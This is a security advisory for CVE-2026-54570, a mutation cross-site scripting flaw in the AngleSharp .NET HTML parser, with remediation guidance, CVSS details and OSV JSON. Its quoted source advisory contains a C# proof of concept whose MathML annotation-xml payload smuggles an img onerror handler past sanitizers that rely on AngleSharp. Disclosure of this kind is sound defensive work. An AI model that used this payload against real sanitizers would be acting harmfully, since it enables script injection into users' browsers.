CVE-2026-54570: AngleSharp HTML5 Spec Compliance Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-pgww-w46g-26qg
CVSS 6.9
CWE-80
Published
Advisory Summary

CVE-2026-54570 is a MODERATE (CVSS 6.9) cross-site scripting vulnerability (CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)) affecting AngleSharp HTML5 Spec Compliance libraries in the NuGet ecosystem. The issue involves mxss via annotation-xml html integration point bypass. Remediation is available by upgrading affected packages to version 1.5.0.

CVE-2026-54570 at a Glance

CVE Identifier CVE-2026-54570
GHSA Identifier GHSA-pgww-w46g-26qg
Severity MODERATE
CVSS v3.1 Base Score 6.9
CWE Classification CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
Affected Product AngleSharp HTML5 Spec Compliance
Package Ecosystem NuGet
Published Date
Last Updated

Security Impact

CVSS: 6.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-54570

To remediate this vulnerability, upgrade all affected AngleSharp HTML5 Spec Compliance dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

AngleSharp fixed: 1.5.0
Upgrade AngleSharp to 1.5.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for AngleSharp

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54570, inspect your project dependencies for AngleSharp HTML5 Spec Compliance:

inspect dependencies for AngleSharp

Analyze the terminal output to locate any version of AngleSharp HTML5 Spec Compliance in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS), where the product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages. In AngleSharp HTML5 Spec Compliance, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The HTML specification requires that a MathML `<annotation-xml>` element with `encoding="text/html"` or `encoding="application/xhtml+xml"` is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML. AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if `encoding="text/html"` is not treated) when given the same serialized output. Two bugs combine to make this exploitable: - Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode). - Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. _See [Escape "<" and ">" in attributes when serializing HTML #6235 ](https://github.com/whatwg/html/issues/6235)_ ### Details In `MathAnnotationXmlElement` (`AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs`): ```cs // Current — HtmlTip is never set : base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped) ``` Because `HtmlTip` is absent, the token dispatch in `Consume()` always sends tokens to `Foreign()` when inside `annotation-xml`, regardless of the encoding attribute. The compensating check in `ForeignNormalTag()` only covers tags in `AllForeignExceptions` and is entirely bypassed during fragment parsing (`innerHTML` setter) due to an `if (!IsFragmentCase)` guard. In `HtmlMarkupFormatter.WriteAttributeValue()` (`AngleSharp/Html/HtmlMarkupFormatter.cs`): ```cs // Escapes & " and \u00A0, but NOT < or > case Symbols.Ampersand: stringBuilder.Append("&amp;"); break; case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break; case Symbols.DoubleQuote: stringBuilder.Append("&quot;"); break; default: stringBuilder.Append(value[i]); break; // < and > pass through raw ``` ### PoC The following program demonstrates that AngleSharp’s parser misses the injected `<img>` element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live `<img onerror>` trigger. ```cs using System; using System.Linq; using AngleSharp.Html.Parser; public class Program { static readonly string Payload1 = "<math>" + "<annotation-xml encoding=\"text/html\">" + "<title><a encoding=\"</title><img src=x onerror=alert()>\">" + "</annotation-xml></math>"; public static void Main() { var parser = new HtmlParser(); Check(parser, Payload1, "IMG", "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)", "AngleSharp found <img> – SAFE"); } static void Check(HtmlParser parser, string html, string tag, string failMsg, string passMsg) { var doc = parser.ParseDocument(html); var tags = doc.All.Select(e => e.TagName).ToHashSet(); var found = tags.Contains(tag); Console.WriteLine(found ? passMsg : failMsg); Console.WriteLine("Serialized output:"); Console.WriteLine(doc.DocumentElement.OuterHtml); } } ``` Output: ``` AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization) Serialized output: <html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html> ``` _The `title` tag may be swapped out for `style` and other RCDATA elements._ When a browser receives this string and parses `annotation-xml encoding="text/html"` as an HTML integration point, the `</title>` closes the title element and the `<img>` fires its onerror handler. ### Impact Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions. This reduces AngleSharp's credibility as a conformant HTML parser.

CVE-2026-54570 Affected AngleSharp HTML5 Spec Compliance Versions

1 component(s)
Fixed Versions:
1.5.0
Product / Package Ecosystem Affected Versions Fixed Version
AngleSharp
NuGet
< 1.5.0
1.5.0

References

Frequently Asked Questions

What is CVE-2026-54570?
CVE-2026-54570 is a security vulnerability in AngleSharp HTML5 Spec Compliance involving mXSS via annotation-xml HTML Integration Point Bypass under CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS).
Which AngleSharp HTML5 Spec Compliance versions are affected?
Affected versions include releases prior to 1.5.0 across affected packages: AngleSharp.
What version fixes CVE-2026-54570?
Upgrading to 1.5.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is AngleSharp affected?
Yes, AngleSharp is affected in releases prior to 1.5.0. Upgrade your dependency to 1.5.0 or later.
What is the CVSS score of CVE-2026-54570?
CVE-2026-54570 has a CVSS v3.1 base score of 6.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N.
What CWE is associated with CVE-2026-54570?
CVE-2026-54570 is classified under CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.).
How can I check NuGet dependencies for CVE-2026-54570?
Run the dependency tree command: 'inspect dependencies for AngleSharp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pgww-w46g-26qg",
  "modified" : "2026-07-17T21:17:10Z",
  "published" : "2026-07-17T21:17:10Z",
  "aliases" : [ "CVE-2026-54570" ],
  "summary" : "AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass",
  "details" : "### Summary\nThe HTML specification requires that a MathML `<annotation-xml>` element with `encoding=\"text/html\"` or `encoding=\"application/xhtml+xml\"` is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.\n\nAngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if `encoding=\"text/html\"` is not treated) when given the same serialized output. Two bugs combine to make this exploitable:\n\n- Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).\n- Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and \". This allows injected markup to break out of attribute values on re-parse. _See [Escape \"<\" and \">\" in attributes when serializing HTML #6235\n](https://github.com/whatwg/html/issues/6235)_\n\n\n### Details\nIn `MathAnnotationXmlElement` (`AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs`):\n```cs\n// Current — HtmlTip is never set\n: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)\n```\n\nBecause `HtmlTip` is absent, the token dispatch in `Consume()` always sends tokens to `Foreign()` when inside `annotation-xml`, regardless of the encoding attribute. The compensating check in `ForeignNormalTag()` only covers tags in `AllForeignExceptions` and is entirely bypassed during fragment parsing (`innerHTML` setter) due to an `if (!IsFragmentCase)` guard.\n\nIn `HtmlMarkupFormatter.WriteAttributeValue()` (`AngleSharp/Html/HtmlMarkupFormatter.cs`):\n```cs\n// Escapes & \" and \\u00A0, but NOT < or >\ncase Symbols.Ampersand:    stringBuilder.Append(\"&amp;\");  break;\ncase Symbols.NoBreakSpace: stringBuilder.Append(\"&nbsp;\"); break;\ncase Symbols.DoubleQuote:  stringBuilder.Append(\"&quot;\"); break;\ndefault:                   stringBuilder.Append(value[i]); break; // < and > pass through raw\n```\n\n### PoC\nThe following program demonstrates that AngleSharp’s parser misses the injected `<img>` element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live `<img onerror>` trigger.\n```cs\nusing System;\nusing System.Linq;\nusing AngleSharp.Html.Parser;\n\t\t\t\npublic class Program\n{\n    static readonly string Payload1 =\n        \"<math>\" +\n        \"<annotation-xml encoding=\\\"text/html\\\">\" +\n        \"<title><a encoding=\\\"</title><img src=x onerror=alert()>\\\">\" +\n        \"</annotation-xml></math>\";\n\n    public static void Main()\n    {\n        var parser = new HtmlParser();\n\n        Check(parser, Payload1, \"IMG\",\n            \"AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)\",\n            \"AngleSharp found <img> – SAFE\");\n    }\n\n    static void Check(HtmlParser parser, string html, string tag,\n                      string failMsg, string passMsg)\n    {\n        var doc     = parser.ParseDocument(html);\n        var tags    = doc.All.Select(e => e.TagName).ToHashSet();\n        var found   = tags.Contains(tag);\n\n        Console.WriteLine(found ? passMsg : failMsg);\n        Console.WriteLine(\"Serialized output:\");\n        Console.WriteLine(doc.DocumentElement.OuterHtml);\n    }\n}\n```\n\nOutput:\n```\nAngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)\nSerialized output:\n<html><head></head><body><math><annotation-xml encoding=\"text/html\"><title><a encoding=\"</title><img src=x onerror=alert()>\"></a></title></annotation-xml></math></body></html>\n```\n\n_The `title` tag may be swapped out for `style` and other RCDATA elements._\n\nWhen a browser receives this string and parses `annotation-xml encoding=\"text/html\"` as an HTML integration point, the `</title>` closes the title element and the `<img>` fires its onerror handler.\n\n### Impact\nImplemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.\n\nThis reduces AngleSharp's credibility as a conformant HTML parser.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "AngleSharp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/AngleSharp/AngleSharp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AngleSharp/AngleSharp/releases/tag/1.5.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-80" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-17T21:17:10Z",
    "nvd_published_at" : null
  }
}